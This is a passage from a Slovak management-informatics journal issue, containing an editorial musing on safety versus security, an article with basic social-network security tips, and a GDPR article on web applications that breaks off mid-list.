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SLOVO NA ÚVOD O BEZPEČNEJ NEBEZPEČNOSTI 
 
FOREWORD ABOUT SAFE HAZARD 
 
Peter Veselý 
 
   Vždy, keď počujem slovo bezpečnosť, tak sa mi vynoria v myšlienkach žltobiele 
škodovky a žiguláky, seriál plný propagandy o dobrom vyšetrovateľovi – majorovi 
Zemanovi a jeho 30 prípadoch. Keď som v minulosti cestoval lietadlami, tak sa ma 
bezpečnosť priamo dotýkala. Toľko bezpečnostných opatrení, ktoré som musel 
absolvovať pri vstupe na palubu, a všetky vraj boli pre moje najväčšie dobro, 
chrániac ma pred všetkým zlým. Aspoň tak mi to vysvetlili. Relatívne malé zlo som 
si vravel. Až kým som na služobnej ceste v Prahe nedostal akútny telefonát z letiska 
Heathrow od vedúcej bezpečnostnej zmeny. Poviem Vám, nebolo to nič príjemné, 
keď Vám volajú, že zadržali Vaše dieťa, lebo podľa ich bezpečnostných pravidiel, o 
ktorých vedia asi iba sami oni, Vaše dieťa porušilo nejaký akútny predpis zo včera 
o tom, že sa nemôže samé pohybovať po letisku bez rodičov. Teda môže, ale musí 
mať u seba jeden papier, ktorého vzor ani netuším, kde zobrať. Spätne mi to 
pripomína román Hlava XXII. Po niekoľkých hodinách telefonovania a overovania 
množstva až príliš osobných údajov po telefóne ju pustili. Vtedy som si vydýchol a 
povedal som si, že diskusia s dcérou o tom, že tam má príliš veľké okno časové plné 
nezmyselného čakania na letisku bola fajn, lebo letisková ochranka sa jej postarala 
o intenzívne vyplnenie toho času. Od tej doby som sa začal výrazne viac zamýšľať 
nad tým, čo znamená bezpečnosť a aký je súvis medzi bezpečnosťou a 
občianskymi právami ľudí. Venujem sa téme bezpečnosť už veľmi dlho a začínam 
byť z toho frustrovaný. Už ako tretiak na gymnáziu som si naprogramoval vlastný 
antivirák s kamarátom a zúčastnil som sa súťaže, vtedy bol populárny polymorfný 
vírus ONEHALF. Úspešná detekcia a liečba z našej strany. Prácu som poslal do 
jednej veľkej spoločnosti, ktorej antivirák to nedetekoval. Spoluprácu s nimi som 
odmietol na žiadosť rodičov. Kúsok na to sa začal používať pojem heuristická 
analýza. Aj to je život. 
   Bezpečnosť na mňa útočí každý deň. Špeciálne v túto dobu oficiálne pandemickú. 
Ako je vlastne nebezpečná nebezpečnosť ? Čo je to nebezpečnosť ? Dá sa 
definovať a počítať ? Opakom nebezpečnosti je bezpečnosť. Čo vlastne znamená 
bezpečnosť ? Je skutočne opakom nebezpečnosti ? Čo je lepšie – bezpečná 
nebezpečnosť alebo nebezpečná bezpečnosť ? A kde sme my, ľudia ? je možné pre 
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bezpečnosť jednej osoby spraviť nebezpečnosť pre viacero osôb – príklad – pre 
bezpečnosť vlády okolo nich sú ochrankári. Pre ostatných ľudí, ktorí nevedia, že 
okolo nich je ochranka, ktorá je okamžite schopnú použiť chvaty, hmaty a zbrane, 
je neočakávaná interaktivita smerom k chránenej osobe vyhodnotená ako 
potencionálny útok – a to môže byť príliš nebezpečné pre danú osobu . Ale akosi 
sme si zvykli na nejaké nepísané pravidlá o bezpečnosti. Viete vlastne definovať 
ako sú legislatívne podchytené bezpečnostné predpisy ? Áno, jasné, BOZP na 
prvom mieste – porušenie je pokuta, až trestné stíhanie, ak sa stane nehoda v 
pracovnom procese. Zdravotnícke predpisy prvej pomoci ďalej definujú ako robiť 
zdravotnú bezpečnosť, aj tieto musíme vedieť, inak nedostaneme napríklad 
vodičský preukaz, neskôr iba niektoré profesie sú pravidelne preškolené. Dopravné 
predpisy sa týkajú bezpečnosti a keď ich porušíme, tak pokuta až väzenie ( alkohol 
za volantom, nehoda atď. ). Držitelia zbraní, pracovníci ochraniek a poľovníci taktiež 
skladajú skúšky ohľadom zbraní, narábania s nimi, skladovaním atď. Mimochodom, 
čítal som štatistiku, teda viacero štatistík najmä z krajiny, ktorá sa nazýva kolískou 
demokracie. Viac ľudí zomrie na následok utopenia sa vo vlastnom bazéne ako po 
zásahu strelnou zbraňou. Vypočul som si viacero výkladov predstaviteľov danej 
krajiny a sú v podstate dva hlavné názorové prúdy k používaniu zbraní a ich 
voľnému predaju. Prvý prúd vraví, že keď všetci odovzdajú zbrane a tie teda 
nebudú medzi ľuďmi, tak nebudú strelné zranenia a teda vraždy strelnou zbraňou. 
Preto veľmi prudko menia legislatívu tak, aby nebolo možné mať strelnú zbraň a 
dlhé nože. Budeme mať podľa nich bezpečnú krajinu. Poukazujú pritom na niekoľko 
prípadov, kedy prišiel niekto psychicky narušený do školy a strieľal po učiteľoch a 
študentoch. Vraj preto, lebo zbraň je ľahko dostupná. Poslednú takú diskusiu som 
čítal, keď v jednom zo štátov vo väčšom kine začal jeden pán bezhlavo strieľať po 
ľuďoch. Zastavili ho výstrely iného diváka. Inak by bol výrazne väčší masaker. A tu 
sme pri druhej strane názorov. Jeden texasan sa vyjadril k danej téme nasledovne: 
Nechápe, prečo sa zakazujú zbrane. Kriminálnici neriešia, či majú zbraň legálne 
alebo nelegálne. Oni riešia iba koľko ich majú a akú majú palebnú a zastrašovaciu 
silu. Amnestie zbraňové ich nezaujímajú, tak potom nech sa ľudia nečudujú. Keby 
prišiel taký páchateľ do hocijakého texaského kina, tak by zbraň nevytiahol, iba ak 
by chcel okamžite spáchať samovraždu. Tam má skoro každý pri sebe minimálne 
jednu zbraň. Teda vytiahnutie zbrane a ohrozenie niekoho prinesie okamžitú 
adekvátnu reakciu. Mimochodom v Texase je minimum úmrtí strelnou zbraňou. 
Nevraví, že žiadne, lebo kriminálnici môžu mať väčšiu palebnú silu. Z môjho 
pohľadu prvá skupina zakazujúca zbrane vytvára bezpečnú nebezpečnosť – idylu 
bezpečnosti v reálnej nebezpečnosti. Druhá skupina vytvára nebezpečnú 
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bezpečnosť, kedy je pomer síl pomerne vyrovnaný. Teraz sa zjavne zamyslíte, aký 
je rozdiel medzi bezpečnou nebezpečnosťou a nebezpečnou bezpečnosťou. Skúste 
sa zamyslieť nad tým znova a zamyslite sa nad svojim okolím. Vrahovi 
mimochodom stačia častokrát vlastné ruky, malý nožík, prípadne kameň. Najviac 
vrážd v domácnosti sa robí s kuchynskými nožíkmi – všimli Ste si, aké sú to vlastne 
nebezpečné zbrane, špecializované na rezanie končatín, krkov a na spôsobenie 
rýchleho vykrvácania ? Nebezpečné veci sú všade okolo nás, teroristi zabíjajú v 
poslednej dobe autami a dodávkami. Máme predpis ako tomu zabrániť ? A čo ak 
toto bude mať k dispozícii sfetovaný človek, ktorého aktuálny mentálny obraz a 
jeho paranoja vravia, že akurát Vy ste teraz ten, ktorý ho chce zabiť ? Do akej 
miery sa máme cítiť bezpečne, keď čítame, že zabili v minulosti študenta na 
prechádzke a X rokov sa nič neriešilo ? Alebo keď čítate úplne maličké písmenká   
o tom, že matku troch detí znásilnil a zavraždil skoro pred domom psychicky chorý 
človek, ktorý mal mať ešte ústavnú liečbu a nepotreboval k tomu okrem rúk nič 
iné? Stále máme ilúziu bezpečnej nebezpečnosti ? Čo prispieva k rozširovaniu 
konceptu bezpečnej nebezpečnosti ? Je to naša pasivita ? Je to náš spôsob života, 
rozhodovania ? Myslíte si, že zbraňové amnestie u nás boli za účelom, aby sme sa 
cítili všetci bezpečnejšie ? Alebo by v tom mohla byť pomerne jednoduchá 
matematika, ktorá vychádza z jedného konšpiračného článku – medzi ľuďmi bolo 
cez 300 tis. zbraní – legálnych aj nelegálnych. A počet silových zložiek bol okolo 30 
tis. Ja byť vrcholovým predstaviteľom vlády tak mám panický strach, vydám 
ďalšie amnestie a posilním právomoci silových zložiek. Vyskúšam to na inom type 
hromadnej akcie, ale o tom niekedy nabudúce. Tak ako je to s bezpečnou 
nebezpečnosťou podľa Vás ? Je to mýtus alebo realita ? Alebo máme nebezpečnú 
nebezpečnosť, prípadne nebezpečnú bezpečnosť ??? Bezpečná bezpečnosť sa 
stáva iba mýtickým pojmom. Ako je to v organizáciách ? Máme bezpečnú 
nebezpečnosť ? Chránime sa pred čím? Pred vonkajším útočníkom ? Pred 
priemyselnou špionážou ? Pred zlyhaním vo vnútri ? Pred zlyhaním ľudí alebo pred 
zlyhaním techniky ? Alebo sme rezignovali a nejako to funguje s vierou, že tieto zlé 
veci sú mimo nás ? Často sa v oblasti bezpečnosti stretávam s rozšíreným 
názorom, že keď mám dokumentáciu napríklad k GDPR tak je problém vyriešený, 
Tak si vždy pomyslím, že útočník sa môže za brucho od smiechu chytať, keď číta 
ten dokument vo vnútri papierovo bezpečného systému ..... 
 

      Príjemné čítanie Vám želá Peter Veselý 
Predseda redakčnej rady časopisu 

Manažérska Informatika 
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BEZPEČNOSŤ NA SOCIÁLNYCH SIEŤACH 
 
SECURITY ON SOCIAL NETWORKS 
 
Martin Prikler 
 
Abstract 
   The aim of this scientific article is to point out the dangers of using social networks 
and ways to defend. Social networks are very popular in today’s world. They allow 
people to connect with friends, family and share private information. There may be 
issues related to privacy and information security. 
 
Key words: security, social networks, user 
 
Abstrakt 
   Cieľom tohto vedeckého článku je poukázať na nebezpečenstvo pri využívaní 
sociálnych sietí a možnosťami ako sa brániť. Sociálne siete sú v dnešnom svete 
veľmi populárne. Umožňujú ľuďom sa spojiť s priateľmi, s rodinou a zdieľať 
súkromné informácie. Môžu sa vyskytnúť problémy súvisiace s ochranou súkromia 
a bezpečnosťou informácií. 
 
Kľúčové slová: bezpečnosť, sociálne siete, užívateľ 
 
Úvod 
   Sociálne siete majú v posledných rokoch stále väčšiu popularitu medzi ľuďmi. 
Ľudia môžu medzi sebou zdieľať multimediálne údaje a udržiavať v nich prehľad. 
Užívateľ sa prihlási do jednej z týchto sietí a vyhľadá nových používateľov s 
rovnakým záujmom[11]. Po prihlásení si vytvorí každý vlastný profil, aby sa 
predstavil a odprezentoval pred inými užívateľmi. Stránky sociálnych sietí, ako 
napríklad Facebook, MySpace a LinkedIn sú veľmi populárny a stali sa 
preferovanou metódou komunikácia pre väčšinu ľudí. Súčasne popularita 
sociálnych sietí však predstavuje veľkú hrozbu pre ľudí.[10] Útočníci môžu pomocou 
sociálnych sietí veľmi jednoducho získať dôležité informácie, ktoré môžu neskôr 
zneužiť.[12] Používateľom sa na sociálnych sieťach odporúča uviesť celé meno, 
adresu, pohlavie, dátum narodenia, školu, miesto narodenia, záľuby a iné osobné 
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informácie. Všetky tieto informácie sú zdieľané s ostatnými používateľmi. Čím viac 
informácií užívateľ poskytne tým viac to môže byť neskôr použité proti nemu.  
 
Sociálne siete 
   Účty na sociálnych sieťach môžu byť veľmi dobrými nástrojmi ak sú v 
nesprávnych rukách. Podvodníci môžu prebrať celý váš účet. Používajú ich na 
čokoľvek, od základného spamu až po upozornenie na rôzne spoločenské 
problémy. Vaše vlastné účty sa môžu zdať príliš malé na to, aby lákali podvodníkov, 
ale aj keď máte iba pár sledovateľov, Vaše informácie sú cennou komoditou. 
Ukážeme si ako zostať v bezpečí na sociálnych sieťach[2]. 
    Pre každú sociálnu sieť používajte jedinečné heslá. Je to utrpenie, ale je tiež 
absolútne nevyhnutné, aby ste pre napríklad pre Twitter nepoužívali rovnaké heslo 
ako pre Facebook, Instagram a ďalšie sociálne siete. Používanie jedného hesla 
uľahčuje hackerom prácu. Prístup k jednému znamená získanie prístupu ku 
všetkým, a predstavte si, aké bolestivé to bude, keď zistíte, že ste vyradení z celého 
svojho online života.[8] Ak použijete jedno heslo pre viac služieb, ste rovnako 
zabezpečení ako najmenej zabezpečená služba, ktorú používate. Ak vaša sociálna 
sieť poskytuje možnosť zabezpečiť váš účet dvojfaktorovou autentifikáciou, určite 
využite túto možnosť. Toto je dodatočné overenie, napríklad ak sa vy alebo niekto 
prihlásite na sociálnu sieť z nového zariadenia. Dá vám tým vedieť, že sa niekto 
chce prihlásiť do vášho účtu.[6] 
   Nebuďte príliš osobný. Predstavte si, ako ľahko niekto dokáže zistiť meno vášho 
prvého domáceho miláčika alebo školy z vášho profilu na Facebooku, potom sa 
zamyslite nad tým, koľko služieb ich používa ako bezpečnostné otázky. Nechajte 
čo najviac zo svojho profilu v súkromí a predtým, ako zverejníte úplne všetky 
aspekty svojho života, dobre si to rozmyslite.[9] 
   Vďaka prehnanému zdieľaniu informácií nie je takzvané zdieľanie technickým 
problémom, ale tým, aké informácie zdieľame, a ešte nebezpečnejšie, kto k nim má 
prístup. Sociálne siete spracúvajú veľké množstvo osobných informácií, ako sú vaše 
meno, vzhľad a vlastnosti tváre, e-mail, dátum narodenia, členovia rodiny, ľudia, 
ktorých sledujete na internete, alebo informácie  o vašej aktuálnej polohe, čase.[5] 
Potom sa všetky tieto informácie uložia a použijú napríklad na lepšie zacielenie 
reklám. Aj keď spoločnosti, ktoré tieto údaje spravujú, striktne dodržiavajú 
nariadenie GDPR[7], môžu sa samy stať cieľmi kybernetických útokov a vaše údaje 
môžu byť zneužité na nekalé účely[13]. Kybernetickí zločinci môžu navyše zneužívať 
vaše verejné údaje, napríklad vytvárať nepravdivé osobné informácie a používať 
ich na rôzne podvody a iné nevhodné činnosti.[4] 
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   Veľmi užitočné je mať správne zabezpečený profil na Facebooku. V nastaveniach 
svojho účtu môžete prepnúť viditeľnosť tak, aby vyhovovala vašim potrebám – 
súkromná, priateľská, verejná atď. Pre súkromné osoby je najbezpečnejším 
spôsobom nastaviť viditeľnosť informácií iba na váš zoznam priateľov.[3] Ak chcete 
zistiť a vedieť, ako váš profil vidí verejnosť, prejdite do svojho profilu a vyberte 
spôsob zobrazenia. Potom sa váš profil zobrazí ako pre verejnosť. Tiež sa odporúča 
skontrolovať zoznam priateľov. Môžete odstrániť ľudí, s ktorými ste nikdy 
nehovorili, alebo sa pokúsiť zostať v kontakte so starými priateľmi, ktorých ste už 
dlho nevideli. Najväčšou výhodou zníženia počtu priateľov je, že lepšie pochopíte, 
kto má prístup k informáciám, ktoré zdieľate vo svojom profile. Rovnako ako 
v prípade publikovania, aj tu môžete upraviť nastavenia zobrazenia fotografie. 
Máte možnosť „odznačiť“ sa z fotografií, na ktorých vás označili iní. Môžete takisto 
vypnúť funkciu rozpoznávania tváre, aby vás Facebook nerozpoznal automaticky 
na fotografiách a videách a nenavrhoval váš profil na označovanie. Jedna 
z funkcií, ktoré by ste mali zapnúť, je Kontrola v časti časová os a menovky. To vám 
umožní skontrolovať obsah, na ktorom ste boli označení, ešte predtým, ako sa 
dostane na vašu časovú os. 
 
Záver 
   Na záver uvediem pár užitočných rád ako by sme sa mali správať na sociálnych 
sieťach a ako by sme mohli predísť prípadnému nebezpečenstvu:[1] 

 na prístup do sociálnych sietí používajte iba vlastné zariadenie ako napríklad 
telefón, notebook alebo tablet, 

 používať silné heslá, a pravidelne ich meniť, 
 nepoužívať rovnaké mená a heslá na viacerých aplikáciách, 
 na internet vstupovať len cez chránené rozhranie https://, 
 kontrolujte si aké má vaša sociálna sieť bezpečnostné nastavenia, 
 vaše osobné informácie a fotky by mal vidieť len ten, komu sú určené a nie 

aby boli dostupne pre kohokoľvek, 
 neotvárajte prílohy v správach od neznámych ľudí, 
 treba byť opatrný pri podozrivých správach a videách, ktoré vám prídu do 

vašej poštovej schránky, 
 nie je rozumné si pridávať, čo najviac ľudí do priateľov len aby ste ich mali, 

čo najviac, 
 medzi priateľmi by mali byť ľudia len ktorých osobne poznáte, 
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 treba dávať pozor na Wi-fi, na ktorú ak Ste pripojený, zverejnený obsah 
môžu vidieť ostatné osoby pripojené na rovnakú sieť, preto sa odporúča 
vtedy nenakupovať cez internet a nekontrolovať si bankové účty, 

 veľmi dôležité je mať vždy nainštalovaný antivírusový program, ktorý chráni 
všetko, čo máte v telefóne alebo počítači, 

 antivírusový program majte vždy aktualizovaný, 
 nezabúdajte, že nezaheslovaný telefón alebo počítač je bránou k vašim 

dátam alebo peniazom, majte ho vždy dostatočne zabezpečený heslo, 
znakom alebo odtlačkom prstu. 

 
   Čo k tomu dodať? Každému užívateľovi sociálnych sietí by som odporučil, aby si 
dôkladne premyslel všetko, čo napíše o sebe na sociálnych sieťach a aby myslel 
vždy na kvalitné zabezpečenie svojich účtov.   
  
Použitá literatúra 
 
[1]   365BANK Ako bezpečne používať sociálne siete a nenaletieť špekulantom? In 
Omediach.com [online]. [cit. 2021-03-02]. Dostupné na internete: 
<https://www.omediach.com/hoaxy/16747-ako-bezpecne-pouzivat-socialne-
siete-a-nenaletiet-spekulantom>. 

[2]   KAROVIČ, V. - VESELÝ, P. Vybrané bezpečnostné normy, štandardy a 
organizácie pre podporu GDPR a testovania bezpečnosti. In Progresívne prístupy a 
metódy zvyšovania efektívnosti a výkonnosti organizácií [elektronický dokument] 
. Košice: Slovenská asociácia procesného riadenia, 2018. s. 101–113. ISBN 978-80-
972984-1-8. 

[3]   LACKO, Ľ. Ako bezpečne fungovať na sociálnych sieťach. In IT News [online]. 
2020. [cit. 2020-12-01]. Dostupné na internete: <https://www.nextech.sk/a/Ako-
bezpecne-fungovat-na-socialnych-sietach>. 

[4]   LUO, W. et al. An Analysis of Security in Social Networks. . 2009. 648 s. 

[5]   MATUŠOVIČ, MARTIN - VESELÝ, PETER - PAWERA, RENÉ Protection of 
Competition - the Global Economic Crisis VI. . [s.l.]: Edition. Mukařov - Srbín : Ľuboš 
Janica, 2018, 2018. . 

[6]   NORTONLIFELOCK 5 Tips for Social Media Security and Privacy. In [online]. 
[cit. 2020-12-01]. Dostupné na internete: <https://us.norton.com/internetsecurity-
privacy-5-tips-for-social-media-security-and-privacy.html>. 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

10  http://www.manazerskainformatika.sk 
 

[7]   PERÁČEK, T. GDPR in terms of data protection in the field of HRM. In RELIK 
2020 [elektronický dokument] : Reproduction of human capital - mutual links and 
connections . Praha: Prague University of Economics and Business, 2020. s. 445–
453. ISBN 978-80-245-2394-1. 

[8]   PERÁČEK, T. et al. Legislative aspects of custody of securities in the conditions 
of the Slovak Republic. In Finance and sustainability [elektronický dokument] : 
Proceedings from the 2nd Finance and sSustainability Conference, Wroclaw 2018 . 
Cham: Springer Verlag, 2020. s. 237–247. ISBN 978-3-030-34400-9. 

[9]   VESELÝ, P. Manažment ochrany informácií. . Praha: TopSmart Business, 2020. 
ISBN 978-80-270-9014-3. 

[10]   VESELÝ, P. et al. Marketingové problémy predmetu etický hacking. In 
Marketing science and inspirations . 2016. s. 32–37. . 

[11]   VESELÝ, P. - KAROVIČ, V. Active security testing according to OWASP in the 
organization in terms of GDPR. In Progresívne prístupy a metódy zvyšovania 
efektívnosti a výkonnosti organizácií [elektronický dokument] . Košice: Slovenská 
asociácia procesného riadenia, 2018. s. 114–124. ISBN 978-80-972984-1-8. 

[12]   VESELÝ, P. - KAROVIČ, V. Etický hacking v organizácii v zmysle smernice o 
kybernetickej bezpečnosti. In Aktuálne výzvy prevencie počítačovej kriminality 
[elektronický dokument] : zborník príspevkov z vedeckej konferencie s 
medzinárodnou účasťou konanej dňa 21 . Bratislava: Akadémia Policajného zboru 
v Bratislave, 2018. s. 198–208. ISBN 978-80-8054-774-5. 

[13]   VESELÝ, P. - PAWERA, R. Etický hacker a jeho pozícia v zmysle GDPR. In 
Progresívne prístupy a metódy zvyšovania efektívnosti a výkonnosti organizácií 
[elektronický dokument] . Košice: Slovenská asociácia procesného riadenia, 2018. 
s. 125–134. ISBN 978-80-972984-1-8. 

 
 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

11  http://www.manazerskainformatika.sk 
 

 

VŠEOBECNÉ NARIADENIE O OCHRANE ÚDAJOV 
GDPR A JEHO VPLYV NA SPRACOVANIE OSOBNÝCH 
ÚDAJOV VO WEBOVÝCH APLIKÁCIACH 

 
GENERAL DATA PROTECTION REGULATION (GDPR) AND ITS IMPACT ON THE 
PROCESSING OF PERSONAL DATA IN WEB APPLICATIONS 
 
Ema Majerovičová 
 
Abstract 
   The aim of the article is to examine the issue of GDPR and the impact of GDPR on 
the processing of personal data in web applications. The basic principles of GDPR 
and their implementation in web applications are discussed. 
 
Key words: GDPR, web Applications 
 
Abstrakt 
   Cieľom článku je preskúmať problematiku GDPR a vplyv GDPR na spracovanie 
osobných údajov vo webových aplikáciách. Rozoberajú sa základné princípy GDPR 
a ich implementácia vo webových aplikáciách 
 
Kľúčové slová: GDPR, webové aplikácie 
 
Úvod 
   Všeobecné nariadenie o ochrane osobných údajov sa dostalo do povedomia 
širokej verejnosti hlavne vďaka medializácii prijatia nariadenia GDPR ( GDPR -  
General Data Protection Regulation - Všeobecné nariadenie o ochrane údajov, 
plným názvom Nariadenie Európskeho parlamentu a Rady 2016/679 z 27. apríla 
2016 o ochrane fyzických osôb pri spracúvaní osobných údajov a o voľnom pohybe 
takýchto údajov, ktorým sa zrušuje smernica 95/46/ES, je nariadenie Európskej 
únie, ktorého cieľom je výrazné zvýšenie ochrany osobných údajov občanov.[18] ). 
Svoje osobné údaje zdieľame každý deň a v mnohých prípadoch si to vôbec 
neuvedomujeme a robíme to pravdupovediac automaticky bez hlbšieho 
zamyslenia sa nad následkami našich činov. Nevieme komu vlastne naše osobné 
údaje dávame a na aké účely budú spracovávané[1]. Poznám iba jedného človeka, 
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ktorý si prečítal zmluvné podmienky používania pred začatím používania aplikácie. 
Takmer všetci bez rozmýšľania kliknú na „Súhlasím so spracovaním osobných 
údajov“, ale nezaujíma ich čo sa ďalej s ich údajmi deje.[28] Mnoho ľudí si 
neuvedomuje, že čokoľvek sa na internete stane, je monitorované a ukladané. Nie 
je ľahké si pripustiť skutočnosť, že sme neustále kontrolovaní a sledovaní, že niekto 
koho sme nikdy nevideli a ani neuvidíme o nás vie viacej ako by sme si priali. 
Zanechávame za sebou stopy na internete, ktoré nikdy nezmiznú a to aj v prípade 
webových aplikácii.[29]  
   Webová aplikácia je aplikačný program, ktorý je uložený na vzdialenom serveri 
a doručovaný cez internet cez rozhranie prehľadávača. Webové aplikácie môžu 
byť navrhnuté pre širokú škálu použití a môžu byť použité kýmkoľvek; z 
organizácie, jednotlivcovi a z mnohých dôvodov.[2] Medzi bežne používané webové 
aplikácie patrí webmail, online kalkulačky alebo obchody elektronického predaja. 
K niektorým webovým aplikáciám má prístup iba konkrétny prehľadávač; väčšina 
je však k dispozícii bez ohľadu na prehliadač. Ako fungujú webové aplikácie 
Webové aplikácie sa nemusia sťahovať, pretože sú prístupné cez sieť. Používatelia 
majú prístup k webovej aplikácii pomocou webového prehľadávača, ako je Google 
Chrome, Mozilla Firefox alebo Safari. Na fungovanie webovej aplikácie je potrebný 
webový server, aplikačný server a databáza. Webové servery spravujú 
požiadavky, ktoré prichádzajú od klienta, zatiaľ čo aplikačný server dokončí 
požadovanú úlohu. Na uloženie potrebných informácií je možné použiť databázu. 
Webové aplikácie majú zvyčajne krátke vývojové cykly a dajú sa vytvoriť s malými 
vývojovými tímami. Väčšina webových aplikácií je napísaná v jazykoch JavaScript, 
HTML5 alebo kaskádových štýloch (CSS). Programovanie na strane klienta 
zvyčajne využíva tieto jazyky, ktoré pomáhajú budovať klientske rozhranie. 
Programovanie na strane servera sa vykonáva na vytvorenie skriptov, ktoré bude 
webová aplikácia používať. Pri programovaní na strane servera sa bežne používajú 
jazyky ako Python, Java a Ruby[31]. 
 
Výhody webovej aplikácie 
    Webové aplikácie majú veľa rôznych využití a s týmito spôsobmi použitia 
prichádza aj veľa potenciálnych výhod. Medzi bežné výhody webových aplikácií 
patria:  

 Umožnenie prístupu viacerým používateľom k tej istej verzii aplikácie.  
 Webové aplikácie nie je potrebné inštalovať.  
 K webovým aplikáciám je možné pristupovať prostredníctvom rôznych 

platforiem, ako je napríklad stolný počítač, notebook alebo mobilný telefón.  
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 Je k nim prístup prostredníctvom viacerých prehľadávačov.  
 
GDPR a jeho podstata 
   25. máj 2018 znamenal dátum účinnosti najkomplexnejších predpisov o ochrane 
súkromia na našej planéte. Väčšina organizácií v USA a Kanade však 
pravdepodobne nie je v súlade s rozsiahlym novým všeobecným nariadením o 
ochrane údajov (GDPR) Európskej únie, ktoré nadobudlo účinnosť[3]. Všeobecné 
nariadenie o ochrane údajov (GDPR) je tu a tieto tvrdé nové pravidlá ovplyvňujú 
každú spoločnosť, vládnu agentúru alebo inú organizáciu, ktorá podniká v Európe 
alebo narába s osobnými údajmi občanov alebo obyvateľov EÚ[8]. A v USA je o 
týchto predpisoch prekvapivo nedostatočné povedomie alebo dokonca sa vyskytli 
aj obavy. GDPR znamená dramatickú zmenu v tom, ako americké spoločnosti 
spravujú súkromné údaje svojich zákazníkov, a že je to iba začiatok celosvetového 
obratu smerom k väčšej ochrane informácií spotrebiteľov.  
   GDPR obsahuje 99 článkov z predchádzajúceho zákona o ochrane osobných 
údajov z roku 1995 a mnoho nových požiadaviek na ochranu osobných údajov:[9]  

 Podniky by mali pred zhromaždením svojich údajov získať výslovný súhlas 
používateľov.  

 Ochrana údajov zámerne a predvolene Všetci používatelia by mali mať 
prístup k svojim údajom.  

 Každý používateľ by mal mať právo na prenosnosť údajov. Každý užívateľ 
by mal mať právo na zabudnutie.  

 Prísne vykonávanie pravidiel. 
 Firmy by mali informovať zákazníkov v prípade, že došlo k porušeniu údajov.  
 Každý vlastník mobilnej alebo webovej aplikácie musí mať prístup špecifický 

pre danú aplikáciu, aby zabezpečil presun dát do a z mobilných/webových 
zariadení.  

   Majitelia mobilných a webových aplikácií by mali mať niekoľko zabudovaných 
ovládacích prvkov, pomocou ktorých môžu používatelia spravovať svoje údaje[11].  
 
Subjekty GDPR 
   Hlavnými subjektmi nariadenia GDPR sú občania celej EÚ, ako aj Nórska, Islandu 
a Lichtenštajnska. Rovnako sa na nich vzťahuje každý podnik, ktorý spracúva 
osobné údaje občanov EÚ alebo občanov vyššie uvedených krajín, GDPR. Aby ste 
úplne porozumeli GDPR, musíte porozumieť definíciám použitým v nariadení. Ide o 
tieto výrazy:[6]  
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 Kontrolór - Subjekt, ktorý má užívateľ povolené zhromažďovať údaje na 
vykonávanie transakcií, sa nazýva „Správca“. Spravidla je to vlastník webu 
alebo aplikácie.  

 Procesor - Subjekt alebo osoba, ktorá spracúva údaje v mene správcu, ako 
sú služby tretích strán, ako sú Google, Amazon, iTunes alebo PayPal, sa 
nazýva „Procesor“. V niektorých prípadoch sa za spracovateľov údajov 
môžu považovať aj spolupracujúce / externé vývojové spoločnosti.  

 Dotknutá osoba - Osoba alebo subjekt, ktorých údaje zhromažďuje správca 
alebo spracovateľ, sa nazýva „Subjekt“. Je to používateľ webovej alebo 
mobilnej aplikácie.  

 Úradník pre ochranu údajov - Určená osoba alebo subjekt, menovaný a 
určený správcom alebo spracovateľom, ktorý pomáha im a ich 
používateľom pri dodržiavaní GDPR. Je nutné vymenovať úradníka pre 
ochranu údajov vzniká, iba ak sú zhromaždené údaje rozsiahle a citlivé.  

 
Práva konečného používateľa podľa GDPR 
   Právo byť informovaný - Podľa článku 58 nariadenia GDPR má používateľ právo 
vedieť, aké údaje zhromažďuje vlastník aplikácie a na aký účel. Informácie by mali 
byť ľahko prístupné a ľahko pochopiteľné a poskytované bezplatne. 
Predpokladajme, že akákoľvek aplikácia zhromažďuje a spracúva osobné údaje 
detí. V takom prípade je vlastník aplikácie povinný zverejniť informácie o použití 
zhromaždených údajov v jasnom a zrozumiteľnom jazyku, ktorému neplnoletá 
osoba ľahko rozumie. Väčšina majiteľov aplikácií zahŕňa do svojich zásad ochrany 
osobných údajov doložky s vysvetlením snáh o ochranu detí.[16]  
    Právo na prístup ku svojim údajom na požiadanie - Podľa článku 15 GDPR má 
užívateľ právo na prístup k svojim údajom na požiadanie. Každý podnik, ktorý 
zhromažďuje informácie od subjektov podľa nariadenia GDPR, musí splniť žiadosť 
ktoréhokoľvek zo svojich používateľov a poskytnúť im prístup k informáciám, ktoré 
od nich zhromaždil. Firma má na splnenie žiadosti používateľa tridsať dní. V 
niektorých prípadoch, keď je objem dát príliš veľký, môže spoločnosť na 
dokončenie žiadosti používateľa získať predĺženie o ďalší mesiac. Tu je niekoľko 
pokynov, ktoré treba dodržať v súvislosti s tým, ako vybaviť žiadosti o prístup k 
súkromiu podľa nariadenia GDPR. GDPR umožňuje podniku účtovať si primerané 
poplatky, ak je žiadosť o prístup k údajom „zjavne neopodstatnená alebo 
neprimeraná“. Cieľom tohto nariadenia je však poskytnúť používateľom kontrolu 
nad zhromažďovaním ich osobných údajov zadarmo alebo čo najbližšie k ich 
bezplatnosti.[17] 
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   Právo na zmenu svojich informácií - Podľa článku 16 GDPR má užívateľ právo 
zmeniť svoje informácie, ak sú nepresné alebo neúplné. Väčšina webových aplikácií 
umožňuje používateľom meniť informácie v reálnom čase.[14]  
   Právo na zabudnutie - GDPR dáva používateľom právo na vymazanie, ktoré sa 
tiež nazýva „Právo na zabudnutie“. Používateľ môže kedykoľvek požiadať vlastníka 
aplikácie, aby vymazal jeho osobné údaje, ak už nie je potrebné, kvôli čomu boli 
údaje pôvodne zhromaždené alebo spracované. Používatelia môžu tiež kedykoľvek 
odvolať svoj súhlas so zhromažďovaním alebo spracovaním informácií, ak zistia, 
že ich údaje sú nezákonne spracované alebo použité. Najlepším spôsobom, ako to 
dosiahnuť, je zabezpečiť, aby vaša webová aplikácia umožňovala používateľom 
úplne odstraňovať účty. Vlastník aplikácie môže ukladať údaje iba dovtedy, kým 
sú potrebné na účel, na ktorý boli pôvodne zhromaždené. Vlastník aplikácie musí 
určiť primerané časové limity alebo môže naraziť na právne problémy.[10]  
   Právo na obmedzenie procesu údajov - GDPR dáva používateľom právo na 
obmedzenie procesu ich údajov. Ak jednotlivec požiada vlastníka aplikácie, aby 
prestal spracovávať svoje údaje, je vlastník aplikácie povinný okamžite vyhovieť. 
Podľa článku 18 GDPR majú používatelia právo obmedziť spracúvanie svojich 
osobných údajov za týchto podmienok: Ak sú zhromaždené údaje nepresné Ak je 
spracovanie údajov nezákonné Ak podnik zhromaždil nepotrebné údaje Ak 
